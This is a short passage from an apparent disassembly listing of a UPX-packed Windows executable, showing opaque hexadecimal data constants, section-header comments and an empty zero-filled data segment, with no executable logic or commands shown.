4851612Eh, 0DF96FBE9h dd 0B40622Ah, 0B72A156h, 9CE71DC5h, 70ABEE51h, 644DDA25h dd 185316F9h, 0EFDF82CDh, 20B56A1h, 0C0522A51h, 467EF26Dh dd 40872A9Eh, 10B3C6E8h, 6F2F7AC5h, 0E5336ACDh, 615638E6h dd 60EBDF2Fh, 0CB902BFDh, 0C91FF16h, 0BDh, 2D1h dup(0) UPX2 ends ; Section 4. (virtual address 0001E000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0001E000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 3151E000h dd 80h dup(0) align 1000h _idata2 ends end start